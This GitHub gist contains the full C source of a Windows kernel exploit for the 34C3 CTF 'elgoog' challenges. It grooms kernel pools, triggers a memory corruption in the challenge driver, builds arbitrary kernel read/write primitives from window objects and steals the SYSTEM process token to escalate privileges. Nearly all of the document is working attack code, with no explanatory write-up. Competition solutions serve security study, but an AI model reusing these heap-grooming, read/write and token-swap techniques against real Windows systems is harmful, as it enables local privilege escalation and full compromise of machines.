Skip to content

Instantly share code, notes, and snippets.

@marche147
Created December 29, 2017 19:25
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save marche147/6e7bb92d376a0f209b1b301aff418e88 to your computer and use it in GitHub Desktop.
Save marche147/6e7bb92d376a0f209b1b301aff418e88 to your computer and use it in GitHub Desktop.
34c3ctf elgoog1 & 2
#include "stdafx.h"
#include <Windows.h>
#include <cstdlib>
#include <cstring>
#include <cassert>
//#define _DEBUG
#ifdef _DEBUG
#define dbgprintf printf
#define dbgputs puts
#define dbggetchar getchar
#else
#define dbgprintf(...)
#define dbgputs(x)
#define dbggetchar()
#endif
//////////////////////////////////////////////////////////////////////////////////////////////
// NT Kernel Defs
//////////////////////////////////////////////////////////////////////////////////////////////
typedef LONG NTSTATUS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
#define NT_SUCCESS(s) ((s) >= 0)
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L
#define OBJ_DONT_REPARSE 0x00001000L
#define OBJ_VALID_ATTRIBUTES 0x00001FF2L
typedef enum _EVENT_TYPE {
NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
typedef NTSTATUS(__stdcall *pNtCreateEvent)(__out PHANDLE EventHandle,
__in ACCESS_MASK DesiredAccess,
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
__in EVENT_TYPE EventType,
__in BOOLEAN InitialState
);
typedef NTSTATUS
(__stdcall *pNtAllocateVirtualMemory)(
__in HANDLE ProcessHandle,
__inout PVOID *BaseAddress,
__in ULONG_PTR ZeroBits,
__inout PSIZE_T RegionSize,
__in ULONG AllocationType,
__in ULONG Protect
);
typedef NTSTATUS(__stdcall *pNtQuerySystemInformation)(
_In_ ULONG SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
ULONG Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef struct _LARGE_UNICODE_STRING
{
ULONG Length;
unsigned __int32 MaximumLength : 31;
unsigned __int32 bAnsi : 1;
PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
typedef BOOL(__stdcall *pNtUserDefSetText)(
HWND hwnd,
PLARGE_UNICODE_STRING text
);
typedef int(__stdcall *pNtUserInternalGetWindowText)(
HWND hwnd,
LPWSTR buffer,
int nMaxCount
);
pNtCreateEvent NtCreateEvent = NULL;
pNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
pNtQuerySystemInformation NtQuerySystemInformation = NULL;
pNtUserDefSetText NtUserDefSetText = NULL;
ULONG_PTR MmUserProbeAddress = 0;
pNtUserInternalGetWindowText NtUserInternalGetWindowText = NULL;
//////////////////////////////////////////////////////////////////////////////////////////////
// Driver IOCTL
//////////////////////////////////////////////////////////////////////////////////////////////
#define EG_CREATE_INDEX 0x222000
#define EG_CLOSE_INDEX 0x222004
#define EG_ADD_TO_INDEX 0x222008
#define EG_COMPRESS_INDEX 0x22200C
typedef ULONGLONG EG_HANDLE;
HANDLE g_Device = INVALID_HANDLE_VALUE;
#define ON_FAILURE(cond, prompt) if(!(cond)) { dbgprintf("%s %d\n", prompt, GetLastError()); _exit(-1); }
#pragma pack(push,1)
typedef struct _eg_adddoc_t {
EG_HANDLE handle;
DWORD doc_id;
UCHAR data[0];
} eg_adddoc_t;
#pragma pack(pop)
void* halloc(SIZE_T size)
{
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
}
BOOL hfree(void* chunk)
{
return HeapFree(GetProcessHeap(), 0, chunk);
}
EG_HANDLE EgCreateHandle(void)
{
EG_HANDLE result = 0;
DWORD retlen;
BOOL ret = DeviceIoControl(g_Device, EG_CREATE_INDEX, &result, sizeof(result), &result, sizeof(result), &retlen, NULL);
if (!ret) {
return -1;
}
return result;
}
BOOL EgCloseHandle(EG_HANDLE handle)
{
DWORD retlen;
return DeviceIoControl(g_Device, EG_CLOSE_INDEX, &handle, sizeof(handle), &handle, sizeof(handle), &retlen, NULL);
}
BOOL EgAddDoc(EG_HANDLE handle, DWORD doc_id, UCHAR* data, ULONG datalen)
{
DWORD retlen;
BOOL ret;
eg_adddoc_t* ptr;
SIZE_T size;
size = datalen + sizeof(eg_adddoc_t);
ptr = (eg_adddoc_t*)halloc(size);
ptr->handle = handle;
ptr->doc_id = doc_id;
memcpy(ptr->data, data, datalen);
ret = DeviceIoControl(g_Device, EG_ADD_TO_INDEX, ptr, size, ptr, size, &retlen, NULL);
hfree(ptr);
return ret;
}
EG_HANDLE EgCompress(EG_HANDLE handle)
{
DWORD retlen;
BOOL ret;
EG_HANDLE value = handle;
ret = DeviceIoControl(g_Device, EG_COMPRESS_INDEX, &value, sizeof(EG_HANDLE), &value, sizeof(EG_HANDLE), &retlen, NULL);
if (!ret) {
value = -1;
}
return value;
}
struct _ii_posting_list
{
char token[16];
unsigned __int64 size;
unsigned __int64 capacity;
unsigned int data[1];
};
struct _ii_token_table
{
unsigned __int64 size;
unsigned __int64 capacity;
_ii_posting_list *slots[1];
};
struct _inverted_index
{
int compressed;
_ii_token_table *table;
};
//////////////////////////////////////////////////////////////////////////////////////////////
// Utils
//////////////////////////////////////////////////////////////////////////////////////////////
ULONG_PTR GetKernelModuleAddress(CHAR* name)
{
NTSTATUS s;
ULONG retlen = 0;
PRTL_PROCESS_MODULES pmod;
s = NtQuerySystemInformation(11, NULL, 0, &retlen);
pmod = (PRTL_PROCESS_MODULES)halloc(retlen);
if (!pmod) { return -1; }
s = NtQuerySystemInformation(11, pmod, retlen, &retlen);
if (NT_SUCCESS(s)) {
for (ULONG i = 0; i < pmod->NumberOfModules; i++) {
if (strcmp(name, pmod->Modules[i].FullPathName + pmod->Modules[i].OffsetToFileName) == 0) {
return (ULONG_PTR)pmod->Modules[i].ImageBase;
}
}
}
return -1;
}
HANDLE PushToPagedPool(UCHAR* Data, SIZE_T Length)
{
/* use unicode string for kernel paged pool shaping */
if (!NtCreateEvent) abort();
assert((Length % 2) == 0);
HANDLE result = NULL;
result = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)Data);
return result;
}
ULONG_PTR GetKernelExportedSymbolOffset(char* name)
{
static HMODULE kmod = NULL;
if (!kmod) {
kmod = LoadLibraryEx(TEXT("ntoskrnl.exe"), NULL, DONT_RESOLVE_DLL_REFERENCES);
}
return (ULONG_PTR)GetProcAddress(kmod, name) - (ULONG_PTR)kmod;
}
//////////////////////////////////////////////////////////////////////////////////////////////
// main
//////////////////////////////////////////////////////////////////////////////////////////////
#define MAX_FENGSHUI 2000
HANDLE events[MAX_FENGSHUI];
ULONG_PTR kernel, desktop_heap, kernel_dheap;
ULONG_PTR addrs[10], clsobjaddr[10];
HWND exploit_primitive[10], arw_primitive = NULL;
int ida = -1, idb = -1, idc = -1;
// https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf
ULONG_PTR FindDesktopHeapObject(ULONG_PTR Handle)
{
PULONG_PTR p = (PULONG_PTR)desktop_heap;
int i = 0;
while (1) {
if (p[i] == Handle) {
return kernel_dheap + sizeof(ULONG_PTR) * i;
}
i++;
}
}
void qworddump(void* buf, int size, ULONG64 base) {
for (int i = 0; i < size; i += 0x10) {
dbgprintf("%08llx: ", base + i);
for (int j = 0; j < 0x10 && (i + j) < size; j += 8)
dbgprintf("%016x ", ((PULONG64)buf)[(i + j) / 8]);
dbgputs("");
}
}
BOOL ArbitraryRead8(ULONG_PTR Address, PULONG_PTR Buffer)
{
int index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0));
ULONG_PTR original_heap = *(PULONG_PTR)(addrs[ida] + 0x18 - kernel_dheap + desktop_heap);
WCHAR ebuffer[0x10];
ULONG_PTR fakeheap = 0x9600000a00;
*(PULONG_PTR)(fakeheap + 0x80) = Address - 0x100;
*(PULONG_PTR)(fakeheap + 0x88) = 0x200;
SetClassLongPtrW(exploit_primitive[ida], index, fakeheap);
index = addrs[idc] + 0xE8 - (clsobjaddr[ida] + 0xb0);
SetClassLongPtrW(exploit_primitive[ida], index, 0x20 | (0x30uLL << 32));
index = addrs[idc] + 240 - (clsobjaddr[ida] + 0xb0);
SetClassLongPtrW(exploit_primitive[ida], index, Address);
NtUserInternalGetWindowText(exploit_primitive[idc], ebuffer, 0x8);
*Buffer = *(PULONG_PTR)ebuffer;
index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0));
SetClassLongPtrW(exploit_primitive[ida], index, original_heap); // some weird crash...
return TRUE;
}
BOOL ArbitraryWrite8(ULONG_PTR Address, ULONG_PTR Value)
{
int index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0));
ULONG_PTR original_heap = *(PULONG_PTR)(addrs[ida] + 0x18 - kernel_dheap + desktop_heap);
WCHAR ebuffer[0x10];
ULONG_PTR fakeheap = 0x9600000a00;
*(PULONG_PTR)(fakeheap + 0x80) = Address - 0x100;
*(PULONG_PTR)(fakeheap + 0x88) = 0x200;
SetClassLongPtrW(exploit_primitive[ida], index, fakeheap);
index = addrs[idc] + 0xE8 - (clsobjaddr[ida] + 0xb0);
SetClassLongPtrW(exploit_primitive[ida], index, 0x20 | (0x30uLL << 32));
index = addrs[idc] + 240 - (clsobjaddr[ida] + 0xb0);
SetClassLongPtrW(exploit_primitive[ida], index, Address);
LARGE_UNICODE_STRING lstr;
lstr.Length = 8;
lstr.MaximumLength = 0x10;
lstr.bAnsi = 0;
memset(ebuffer, 0, sizeof(ebuffer));
lstr.Buffer = ebuffer;
*(PULONG_PTR)ebuffer = Value;
NtUserDefSetText(exploit_primitive[idc], &lstr);
index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0));
SetClassLongPtrW(exploit_primitive[ida], index, original_heap); // some weird crash...
return TRUE;
}
int main()
{
EG_HANDLE handle, newhandle;
BOOL ret;
UCHAR token[16];
UCHAR buffer[0x1000];
NTSTATUS s;
PVOID teb;
ULONG_PTR object, clsobj;
HMODULE kmod;
/*
* Initialization
*/
LoadLibrary(TEXT("user32.dll"));
NtCreateEvent = (pNtCreateEvent)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateEvent");
NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtAllocateVirtualMemory");
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtQuerySystemInformation");
NtUserDefSetText = (pNtUserDefSetText)GetProcAddress(GetModuleHandle(TEXT("win32u.dll")), "NtUserDefSetText"); // no more NtSyscall :)
NtUserInternalGetWindowText = (pNtUserInternalGetWindowText)GetProcAddress(GetModuleHandle(TEXT("win32u.dll")), "NtUserInternalGetWindowText");
if (!NtCreateEvent || !NtAllocateVirtualMemory || !NtQuerySystemInformation || !NtUserDefSetText || !NtUserInternalGetWindowText) {
dbgprintf("Initialization failed\n");
return -1;
}
g_Device = CreateFile(TEXT("\\\\.\\Elgoog"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (g_Device == INVALID_HANDLE_VALUE) {
dbgprintf("Failed open device, fuck!\n");
return -1;
}
/* leaking */
teb = NtCurrentTeb();
desktop_heap = *(ULONG_PTR*)((char*)teb + 0x828);
if (!desktop_heap) {
dbgprintf("desktop heap not found ...\n");
return -1;
}
dbgprintf("Desktop heap : 0x%llx\n", desktop_heap);
kernel_dheap = *(ULONG_PTR*)(desktop_heap + 0x20) & ~0xFFF;
dbgprintf("Kernel Desktop heap : 0x%llx\n", kernel_dheap);
/* exploit */
HWND hwnds[MAX_FENGSHUI];
WCHAR ClassName[100];
for (int i = 0; i < MAX_FENGSHUI; i++) {
WNDCLASSEX cls;
wsprintf(ClassName, L"ExploitClass%d", i);
cls.cbSize = sizeof(cls);
cls.style = 3;
cls.lpfnWndProc = DefWindowProc;
cls.cbClsExtra = 0x100;
cls.cbWndExtra = 0;
cls.hInstance = NULL;
cls.hCursor = cls.hIcon = cls.hIconSm = NULL;
cls.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
cls.lpszMenuName = NULL;
cls.lpszClassName = ClassName;
RegisterClassEx(&cls);
}
for (int i = 0; i < MAX_FENGSHUI; i++) {
wsprintf(ClassName, L"ExploitClass%d", i);
hwnds[i] = CreateWindowEx(0,
ClassName,
TEXT("Learn to Program Windows"),
WS_OVERLAPPEDWINDOW,
1, 2, 3, 4,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
if (!hwnds[i]) {
dbgprintf("Failed fengshui...\n");
_exit(-1);
}
}
for (int i = 0; i < 10; i++) {
exploit_primitive[i] = hwnds[MAX_FENGSHUI - 1 - i];
addrs[i] = FindDesktopHeapObject((ULONG_PTR)hwnds[MAX_FENGSHUI - 1 - i]);
clsobjaddr[i] = *(PULONG_PTR)(addrs[i] - kernel_dheap + desktop_heap + 0xa8);
dbgprintf("Object : 0x%llx, Clsobj : 0x%llx\n", addrs[i], clsobjaddr[i]);
}
for (int i = 0; i < 10; i++) {
if (ida != -1 && idb != -1) break;
for (int j = 0; j < 10; j++) {
if (clsobjaddr[i] - clsobjaddr[j] == 0x1f0) { // adjacent
ida = i;
idb = j;
break;
}
}
}
if (ida == -1 && idb == -1) {
dbgprintf("No adjacent blocks...\n");
_exit(-1);
}
dbgprintf("Chosen %p %p\n", clsobjaddr[ida], clsobjaddr[idb]);
SetClassLongPtrW(exploit_primitive[idb], 0x10, 152);
//getchar();
handle = EgCreateHandle();
if (handle == -1) {
dbgprintf("No handle!\n");
return -1;
}
// one loop += 18, full size = 0x248
for (int i = 0; i < 0x20; i++) {
sprintf((char*)token, "%05d", i);
for (int j = 0; j < 5; j++) {
token[j] += 'a' - '0';
}
ON_FAILURE(EgAddDoc(handle, 0xffff, token, 5), "Failed add doc");
ON_FAILURE(EgAddDoc(handle, 0xffff, token, 5), "Failed add doc");
}
ULONG_PTR test = clsobjaddr[idb] + 0xb0;
PVOID baseAddr = (PVOID)0x9600000000;
SIZE_T regionSize = 0x1000;
s = NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(s)) {
dbgprintf("%x\n", s);
_exit(-1);
}
// 0000009600000088
#define MAGIC 0x0000009600000088
* (ULONG_PTR*)(MAGIC) = 1;
*(ULONG_PTR*)(MAGIC + 8) = 1;
*(ULONG_PTR*)(MAGIC + 0x10) = test;
#define EXP1_SIZE 0x248
memset(buffer, 0, sizeof(buffer));
memset(buffer, 0xcc, EXP1_SIZE);
for (int i = 0; i < MAX_FENGSHUI; i++) {
sprintf((char*)buffer, "%d", i);
for (int j = strlen((char*)buffer); j < 0x20; j++) {
buffer[j] = 0xcc;
}
buffer[EXP1_SIZE] = buffer[EXP1_SIZE + 1] = 0;
events[i] = PushToPagedPool(buffer, EXP1_SIZE);
ON_FAILURE(events[i], "step1");
}
#define FREED 200
for (int i = 0; i < FREED; i++) {
CloseHandle(events[i]);
}
newhandle = EgCompress(handle);
if (!newhandle) {
dbgprintf("Failed compress\n");
return -1;
}
// second compress is the crasher
EG_HANDLE h2 = EgCompress(newhandle);
if (handle == -1) {
dbgputs("Compress2 failed\n");
return -1;
}
#define OOB_RANGE 0x3f3f3f3f
SetClassLongPtr(exploit_primitive[idb], 0x10, 102);
SetClassLongPtr(exploit_primitive[idb], 0x20, 0x3f3f3f3f3f3f3f3f);
*(ULONG_PTR*)(MAGIC) = 1;
*(ULONG_PTR*)(MAGIC + 8) = 1;
*(ULONG_PTR*)(MAGIC + 0x10) = test;
EgCompress(newhandle);
SetClassLongPtrW(exploit_primitive[idb], 0x10, 90);
SetClassLongPtr(exploit_primitive[idb], 0x20, clsobjaddr[ida] >> 32);
*(ULONG_PTR*)(MAGIC) = 1;
*(ULONG_PTR*)(MAGIC + 8) = 1;
*(ULONG_PTR*)(MAGIC + 0x10) = test;
EgCompress(newhandle);
SetClassLongPtrW(exploit_primitive[idb], 0x10, 89);
SetClassLongPtr(exploit_primitive[idb], 0x20, clsobjaddr[ida] & 0xFFFFFFFF);
*(ULONG_PTR*)(MAGIC) = 1;
*(ULONG_PTR*)(MAGIC + 8) = 1;
*(ULONG_PTR*)(MAGIC + 0x10) = test;
EgCompress(newhandle);
SetClassLongPtrW(exploit_primitive[ida], 0, 0xdeadbeef);
for (int i = 0; i < 10; i++) {
if (i == ida || i == idb) continue;
if (addrs[i] < (clsobjaddr[ida] + OOB_RANGE) && addrs[i] > (clsobjaddr[ida] + 0xb0)) {
arw_primitive = exploit_primitive[i];
idc = i;
break;
}
}
if (!arw_primitive) {
dbgprintf("No arw primitive installed...\n");
//getchar();
_exit(-1);
}
// fake desktop heap
dbgprintf("aw_primitive: 0x%llx\n", addrs[idc]);
ULONG_PTR leak_pti = *(PULONG_PTR)(addrs[idc] - kernel_dheap + desktop_heap + 0x10);
dbgprintf("leak_pti : 0x%llx\n", leak_pti);
ULONG_PTR ethread;
ArbitraryRead8(leak_pti, &ethread);
dbgprintf("ethread : 0x%llx\n", ethread);
ULONG_PTR ntbase;
ArbitraryRead8(ethread + 0x2b8, &ntbase);
ntbase -= 0x000dacd0;
dbgprintf("ntbase : 0x%llx\n", ntbase);
dbggetchar();
ULONG_PTR initial_process = GetKernelExportedSymbolOffset("PsInitialSystemProcess") + ntbase;
dbgprintf("ip = 0x%llx\n", initial_process);
ULONG_PTR current, tk, pid;
ArbitraryRead8(initial_process, &current);
dbgprintf("cur = 0x%llx\n", current);
#define PID_OFFSET 0x2e0
#define TOKEN_OFFSET 0x358
#define ACTIVE_LINK_OFFSET 0x2e8
ArbitraryRead8(current + TOKEN_OFFSET, &tk);
while (current) {
ArbitraryRead8(current + PID_OFFSET, &pid);
if (pid == GetCurrentProcessId()) {
break;
}
ArbitraryRead8(current + ACTIVE_LINK_OFFSET, &current);
current -= ACTIVE_LINK_OFFSET;
}
ArbitraryWrite8(current + TOKEN_OFFSET, tk);
dbgputs("Done!");
//system("cmd");
system("type C:\\token.txt");
//system("cmd");
while (true) {
Sleep(1000);
}
CloseHandle(g_Device);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment